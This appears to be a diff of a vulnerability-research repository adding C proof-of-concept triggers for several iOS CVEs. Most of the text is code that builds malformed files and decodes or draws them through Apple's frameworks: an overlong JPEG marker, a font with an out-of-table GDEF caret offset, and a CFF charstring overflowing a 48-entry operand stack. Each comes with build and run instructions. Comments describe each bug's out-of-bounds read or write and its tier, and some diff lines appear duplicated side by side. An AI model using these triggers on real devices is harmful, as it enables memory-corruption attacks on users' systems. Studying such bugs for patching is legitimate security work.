// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。
// 27.2 改为 64 位 umull 并比对所需字节数与容量。
//
// [en] TIFF planar scatter out-of-bounds write
// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric,
// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared
// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required
// bytes against capacity.
// ── 判别 / oracle ──
// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。
// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,22 +23,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] PDF 栅格化解码缓冲越界
// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer
// too small: need %zu bytes (%zu x %zu), have %zu\"。
//
// [en] PDF rasterisation decode buffer overrun
// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is
// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports
// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── // ── seed construction (from Cinder27 Sources: TIFFPayload) ──
enum TIFFPayload { enum TIFFPayload {
struct Entry { struct Entry {
let tag: UInt16 let tag: UInt16
+73
View File
@@ -0,0 +1,73 @@
// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
// JPEG marker length beyond the bytes present
// C twin of the Swift POC: builds the marker-overrun JPEG and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112634 CVE-2026-112634.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112634 [declared] [actual]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: JPEGPayload.markerLength) ──
static buf jpeg_marker_length(int declared, int actual) {
buf out = {0};
bcat(&out, "\xff\xd8", 2); // SOI
bcat(&out, "\xff\xe1", 2); // APP1
bput(&out, (declared >> 8) & 0xff); bput(&out, declared & 0xff);
int body = actual - 2 > 0 ? actual - 2 : 0;
brep(&out, 0x41, body);
bcat(&out, "\xff\xd9", 2); // EOI
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int declared = argc > 1 ? (int)strtol(argv[1], NULL, 0) : 0xFFEE;
int actual = argc > 2 ? atoi(argv[2]) : 30;
buf jpeg = jpeg_marker_length(declared, actual);
FILE *f = fopen("marker_length.jpg", "wb");
if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&jpeg, &detail);
printf("CVE-2026-112634 · APP1 declares 0x%x, file carries %d B · %s\n", declared, actual, detail ? detail : "?");
printf("seed: marker_length.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
bfree(&jpeg);
return rc == 0 ? 0 : 1;
}
+3 -14
View File
@@ -1,19 +1,8 @@
// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634 // iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
// 原语: OOB 读 · 进程内 · tier 2 // JPEG marker length out of bounds
// Primitive: OOB read · in-process · tier 2
//
// [zh] JPEG 标记长度越界
// 当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。
//
// [en] JPEG marker length out of bounds
// When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING:
// check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse.
// ── 判别 / oracle ──
// 长度 0xFFEE,实际负载 28 字节。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── // ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload { enum JPEGPayload {
static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data { static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
var out = minimalSOI() var out = minimalSOI()
+43
View File
@@ -0,0 +1,43 @@
// aud.lc3 · AudioToolbox · LC3 codec gate · CVE-2026-112638
// LC3 codec AudioConverterNew reachability probe
// C twin of the Swift POC: drives AudioConverterNew with the LC3 format id at two
// rate/channel shapes. The entitlement check is an app-side observation; a standalone
// binary carries no entitlements, so only the codec gate itself is probed here.
// Build: clang -O2 -o cve-2026-112638 CVE-2026-112638.c -framework AudioToolbox -framework CoreFoundation
// Run: ./cve-2026-112638
#include <stdio.h>
#include <AudioToolbox/AudioToolbox.h>
static void audio_converter(uint32_t format, double rate, uint32_t channels) {
AudioStreamBasicDescription in = {0};
in.mSampleRate = rate;
in.mFormatID = format;
in.mFramesPerPacket = 1;
in.mChannelsPerFrame = channels;
AudioStreamBasicDescription out = {0};
out.mSampleRate = rate;
out.mFormatID = kAudioFormatLinearPCM;
out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked;
out.mBytesPerPacket = 4;
out.mFramesPerPacket = 1;
out.mBytesPerFrame = 4;
out.mChannelsPerFrame = 1;
out.mBitsPerChannel = 32;
AudioConverterRef c = NULL;
OSStatus st = AudioConverterNew(&in, &out, &c);
if (c) AudioConverterDispose(c);
char four[5] = {0};
for (int i = 0; i < 4; i++) {
uint8_t b = (uint8_t)(format >> (24 - 8 * i));
four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?';
}
printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st);
}
int main(void) {
audio_converter(0x6C633320, 48000, 1); // 'lc3 ' 48 kHz mono
audio_converter(0x6C633320, 16000, 2); // 'lc3 ' 16 kHz stereo
printf("CVE-2026-112638 · LC3 codec gate probed\n");
return 0;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// aud.lc3 · AudioCodecs · ACLC3Decoder::AppendInputData · CVE-2026-112638 // aud.lc3 · AudioCodecs · ACLC3Decoder::AppendInputData · CVE-2026-112638
// 原语: OOB 写 · 权限受限 · tier 2 // LC3 decoder input buffer overflow
// Primitive: OOB write · entitlement-gated · tier 2
//
// [zh] LC3 解码器输入缓冲溢出
// memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3
// 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。
//
// [en] LC3 decoder input buffer overflow
// memcpy uses mDataByteSize as its length and never consults the (begin, end) capacity of the input
// vector. iOS 27.2 adds a capacity < size rejection. LC3 is the Bluetooth LE Audio codec and its
// instantiation is gated by com.apple.coreaudio.allow-lc3-codec, so the crash lands in the system
// audio process — matching the advisory's "system termination".
// ── 判别 / oracle ──
// 这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
} }
+39
View File
@@ -0,0 +1,39 @@
// sb.stash · SpringBoard · SBHomeScreenService stashed layout · CVE-2026-112646
// Stashed layout name validation probe
// C twin of the Swift POC: looks up SBHomeScreenService in this process, checks for
// the 27.2 validation selector, and stats the container's IconState.plist.
// Build: clang -O2 -o cve-2026-112646 CVE-2026-112646.c -lobjc
// Run: ./cve-2026-112646
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <objc/runtime.h>
int main(void) {
// class lookup: SpringBoard's own classes are only registered inside SpringBoard
Class cls = objc_getClass("SBHomeScreenService");
printf("SBHomeScreenService in this process: %s\n", cls ? "yes" : "no");
SEL validator = sel_registerName("_validationErrorForStashedLayoutName:");
if (cls && class_respondsToSelector(cls, validator)) {
printf(" validation method present (27.2 fixed)\n");
} else {
printf(" validation method absent (27.0 unfixed)\n");
}
// container probe: IconState.plist only exists inside SpringBoard's container
const char *home = getenv("HOME");
char path[1024];
snprintf(path, sizeof path, "%s/Library/SpringBoard/IconState.plist", home ? home : "/tmp");
struct stat st;
if (stat(path, &st) == 0) {
printf("IconState.plist in this container: present (%lld B)\n", (long long)st.st_size);
} else {
printf("IconState.plist in this container: absent\n");
}
printf("CVE-2026-112646 · stashed-layout surface is SpringBoard-only; other processes\n"
"reach it only through the XPC surface the 27.0 build left unvalidated\n");
return 0;
}
+2 -16
View File
@@ -1,21 +1,8 @@
// sb.stash · SpringBoard · SBHomeScreenService · CVE-2026-112646 // sb.stash · SpringBoard · SBHomeScreenService · CVE-2026-112646
// 原语: OOB 写 · 系统进程 · tier 3 // SpringBoard stashed layout name validation
// Primitive: OOB write · system process · tier 3
//
// [zh] SpringBoard 布局名 stash 校验
// 27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于
// stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。
//
// [en] SpringBoard stashed layout name validation
// iOS 27.2 adds +[SBHomeScreenService _validationErrorForStashedLayoutName:]: reject empty, cap length
// at 64, apply a character-set allowlist, on the stash/restore XPC interface. The 27.0 interface
// has no such layer.
// ── 判别 / oracle ──
// 应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,4 +24,3 @@ enum B {
} }
+169
View File
@@ -0,0 +1,169 @@
// font.gdef · FontParser · GDEF LigCaretList · CVE-2026-112656
// GDEF caret value offset chain past the table
// C twin of the Swift POC: builds the GDEF-caret-chase TrueType font, loads it through
// CGFont/CTFont and queries CTFontGetLigatureCaretPositions.
// Build: clang -O2 -o cve-2026-112656 CVE-2026-112656.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112656
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── table holder ──
typedef struct { const char *tag; buf data; } table;
// ── seed construction (from Cinder27 Sources: FontPayload.gdefCaretChase) ──
static buf font_gdef_caret_chase(void) {
table tables[8];
int nt = 0;
{ // head
buf t = {0};
brep(&t, 0, 54);
t.d[0] = 0x00; t.d[1] = 0x01; t.d[2] = 0x00; t.d[3] = 0x00;
t.d[4] = 0x00; t.d[5] = 0x01; t.d[6] = 0x00; t.d[7] = 0x00;
t.d[12] = 0x5F; t.d[13] = 0x0F; // magic
tables[nt++] = (table){"head", t};
}
{ // hhea
buf t = {0};
brep(&t, 0, 36);
t.d[0] = 0x00; t.d[1] = 0x01;
tables[nt++] = (table){"hhea", t};
}
{ // maxp
buf t = {0};
brep(&t, 0, 32);
t.d[0] = 0x00; t.d[1] = 0x00; t.d[2] = 0x50; t.d[3] = 0x00;
t.d[4] = 0x00; t.d[5] = 0x01;
tables[nt++] = (table){"maxp", t};
}
{ // hmtx
buf t = {0};
bcat(&t, "\x02\x00\x00\x00", 4);
tables[nt++] = (table){"hmtx", t};
}
{ // loca: short format, 2 glyphs
buf t = {0};
bcat(&t, "\x00\x00\x00\x04", 4);
tables[nt++] = (table){"loca", t};
}
{ // glyf
buf t = {0};
bcat(&t, "\x00\x00\x00\x00", 4);
tables[nt++] = (table){"glyf", t};
}
{ // cmap: format 4, minimal
buf t = {0};
be16(&t, 0); be16(&t, 1);
be16(&t, 3); be16(&t, 1); be32(&t, 12);
be16(&t, 4); be16(&t, 24); be16(&t, 0);
be16(&t, 2); be16(&t, 2); be16(&t, 0); be16(&t, 0);
be16(&t, 0xFFFF); be16(&t, 0); be16(&t, 0);
tables[nt++] = (table){"cmap", t};
}
{ // GDEF: LigCaretList whose CaretValue offset runs past the table
buf t = {0};
be16(&t, 0x0001); be16(&t, 0x0000); // version 1.0
be16(&t, 0x0000); // glyphClassDef absent
be16(&t, 0x0000); // attachList absent
be16(&t, 0x000C); // ligCaretListOffset -> 12
be16(&t, 0x0000); // markAttachClassDef absent
// LigCaretList at 12
be16(&t, 0x000C); // coverageOffset -> 24
be16(&t, 0x0001); // ligGlyphCount
be16(&t, 0x0010); // ligGlyphOffsets[0] -> 28
be16(&t, 0x0000); // pad
// Coverage at 24: format 1, glyph 1
be16(&t, 0x0001); be16(&t, 0x0001); be16(&t, 0x0001);
// LigGlyph at 28
be16(&t, 0x0001); // caretCount
be16(&t, 0x7F00); // caretValueOffsets[0]: ~32 KB past the table
tables[nt++] = (table){"GDEF", t};
}
// ---- assemble: sort by tag, build directory + blobs
for (int i = 0; i < nt; i++) for (int j = i + 1; j < nt; j++) {
if (strcmp(tables[j].tag, tables[i].tag) < 0) { table t = tables[i]; tables[i] = tables[j]; tables[j] = t; }
}
uint16_t num_tables = (uint16_t)nt;
uint16_t search_range = 16, entry_selector = 0;
while (search_range * 2 <= num_tables * 16) { search_range *= 2; entry_selector++; }
buf out = {0};
be32(&out, 0x00010000);
be16(&out, num_tables);
be16(&out, search_range);
be16(&out, entry_selector);
be16(&out, num_tables * 16 - search_range);
size_t offset = 12 + (size_t)nt * 16;
for (int i = 0; i < nt; i++) {
bcat(&out, tables[i].tag, 4);
be32(&out, 0x00010000); // checksum, unchecked by parsers
be32(&out, (uint32_t)offset);
be32(&out, (uint32_t)tables[i].data.n);
size_t pad = (4 - tables[i].data.n % 4) % 4;
offset += tables[i].data.n + pad;
}
for (int i = 0; i < nt; i++) {
bcat(&out, tables[i].data.d, tables[i].data.n);
size_t pad = (4 - tables[i].data.n % 4) % 4;
if (pad) brep(&out, 0, pad);
bfree(&tables[i].data);
}
return out;
}
// ── trigger: CGFont + CTFont caret query ──
#include <CoreText/CoreText.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
int main(void) {
buf font = font_gdef_caret_chase();
FILE *f = fopen("gdef_caret_chase.ttf", "wb");
if (f) { fwrite(font.d, 1, font.n, f); fclose(f); }
CFDataRef cf = CFDataCreate(NULL, font.d, (CFIndex)font.n);
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
CGFontRef cg = CGFontCreateWithDataProvider(prov);
CGDataProviderRelease(prov);
if (!cg) {
printf("CVE-2026-112656 · font refused at the CGFont layer\n");
bfree(&font);
return 1;
}
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 72, NULL, NULL);
CGFloat positions[8];
memset(positions, 0, sizeof positions);
// the caret query follows the CaretValue offset chain
CFIndex n = CTFontGetLigatureCaretPositions(ct, 1, positions, 8);
printf("CVE-2026-112656 · CTFontGetLigatureCaretPositions returned %ld\n", (long)n);
if (n > 0) {
printf("caret positions:");
for (int i = 0; i < n && i < 8; i++) printf(" %.2f", positions[i]);
printf(" (values read through the offset chain)\n");
} else {
printf("returned 0 — offset clamped or chain not followed\n");
}
CFRelease(ct);
CGFontRelease(cg);
printf("seed: gdef_caret_chase.ttf (%zu B) · exit code 0\n", font.n);
bfree(&font);
return 0;
}
+3 -19
View File
@@ -1,24 +1,8 @@
// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656 // font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656
// 原语: OOB 读 · 进程内 · tier 2 // GDEFLigatureCaret offset-chain out-of-bounds read
// Primitive: OOB read · in-process · tier 2
//
// [zh] GDEFLigatureCaret 追链越界读
// GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。
// CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。
//
// [en] GDEFLigatureCaret offset-chain out-of-bounds read
// GDEF LigCaretList → LigGlyph → CaretValue offsets are followed directly on 27.0: the caret offset
// is read as a big-endian u16 and added to the LigGlyph base with neither an end-check nor a sign-check.
// The CaretValue offset is file-controlled, so pointing it outside the table walks out of the GDEF
// and the i16 coordinate read there is handed back to the caller as-is. iOS 27.2 clamps the offset
// against the GDEF table slice.
// ── 判别 / oracle ──
// 种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零
// caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (FontPayload) ── // ── seed construction (from Cinder27 Sources: FontPayload) ──
enum FontPayload { enum FontPayload {
static func gdefCaretChase() -> Data { static func gdefCaretChase() -> Data {
var tables: [(String, [UInt8])] = [] var tables: [(String, [UInt8])] = []
+160
View File
@@ -0,0 +1,160 @@
// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683
// CFF operand stack push overflow
// C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through
// CGFont/CTFont and draws glyphs to force the interpreter to run.
// Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112683 [push-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── CFF INDEX (from CVE-2026-112683.py: index) ──
static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) {
if (count == 0) { bput(out, 0); bput(out, 0); return; }
size_t off = 1;
size_t offs[33];
offs[0] = 1;
for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; }
int off_size = 1;
if (off >= 0x10000) off_size = 2;
else if (off >= 0x100) off_size = 1; // count fits
// choose the smallest width that holds `off`
if (off < 0x100) off_size = 1;
else if (off < 0x10000) off_size = 2;
else if (off < 0x1000000) off_size = 3;
else off_size = 4;
bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff));
bput(out, (uint8_t)off_size);
for (int i = 0; i <= count; i++) {
for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff));
}
for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]);
}
// 5-byte fixed-width DICT integer operand
static void dict_int(buf *out, int32_t v) {
bput(out, 29);
bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16));
bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v);
}
// ── seed construction (from CVE-2026-112683.py: build_cff) ──
// one charstring pushes `push_count` operands before endchar; the interpreter's
// operand stack is a fixed 48-entry array
static buf cff_stack_bomb(int push_count) {
buf out = {0};
bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1
// name index
const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" };
size_t name_lens[1] = { 15 };
buf name_index = {0};
cff_index(&name_index, names, name_lens, 1);
// charstring: push_count × (139+1 = push 1), then endchar (14)
buf cs = {0};
for (int i = 0; i < push_count; i++) bput(&cs, 140);
bput(&cs, 14);
const uint8_t *cs_items[1] = { cs.d };
size_t cs_lens[1] = { cs.n };
buf charstrings = {0};
cff_index(&charstrings, cs_items, cs_lens, 1);
buf gsubrs = {0};
cff_index(&gsubrs, NULL, NULL, 0);
buf strings = {0};
cff_index(&strings, NULL, NULL, 0);
// Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass
// layout: header | name | top | strings | gsubrs | charstrings | private
size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops
size_t top_off = 4 + name_index.n;
size_t after_top = top_off + top_len_placeholder;
size_t cs_off = after_top + strings.n + gsubrs.n;
size_t priv_off = cs_off + charstrings.n;
buf priv = {0};
bput(&priv, 0x00); // trivial private dict
buf top = {0};
dict_int(&top, (int32_t)cs_off); bput(&top, 17);
dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18);
// the real top dict length must match the placeholder used for layout
buf top_index = {0};
const uint8_t *top_items[1] = { top.d };
size_t top_lens[1] = { top.n };
cff_index(&top_index, top_items, top_lens, 1);
bcat(&out, name_index.d, name_index.n);
bcat(&out, top_index.d, top_index.n);
bcat(&out, strings.d, strings.n);
bcat(&out, gsubrs.d, gsubrs.n);
bcat(&out, charstrings.d, charstrings.n);
bcat(&out, priv.d, priv.n);
bfree(&name_index); bfree(&top_index); bfree(&strings);
bfree(&gsubrs); bfree(&charstrings); bfree(&priv);
bfree(&top); bfree(&cs);
return out;
}
// ── trigger: CGFont + CTFont glyph draw ──
#include <CoreText/CoreText.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
int push_count = argc > 1 ? atoi(argv[1]) : 300;
buf cff = cff_stack_bomb(push_count);
FILE *f = fopen("stack_bomb.cff", "wb");
if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); }
CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n);
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
CGFontRef cg = CGFontCreateWithDataProvider(prov);
CGDataProviderRelease(prov);
if (!cg) {
// a refusal is the informative result: which stage rejected the font
printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n");
printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n);
bfree(&cff);
return 1;
}
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL);
size_t glyphs = CGFontGetNumberOfGlyphs(cg);
printf("font loaded: glyphs=%zu\n", glyphs);
// drawing forces the charstring interpreter to run
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast);
int drawn = 0;
size_t upper = glyphs < 8 ? glyphs : 8;
for (size_t g = 1; g < upper; g++) {
CGGlyph glyph = (CGGlyph)g;
CGPoint pos = CGPointMake(20, 40 * (g + 1));
CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx);
drawn++;
}
printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n",
drawn, push_count);
CGContextRelease(ctx);
free(buffer);
CFRelease(ct);
CGFontRelease(cg);
printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n);
bfree(&cff);
return 0;
}
-16
View File
@@ -1,20 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# font.cff · FontParser · charstring 解释器 · CVE-2026-112683
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
#
# [zh] CFF Type2 charstring 操作数栈溢出
# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,
# 并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。
#
# [en] CFF Type2 charstring operand stack overflow
# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the
# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens
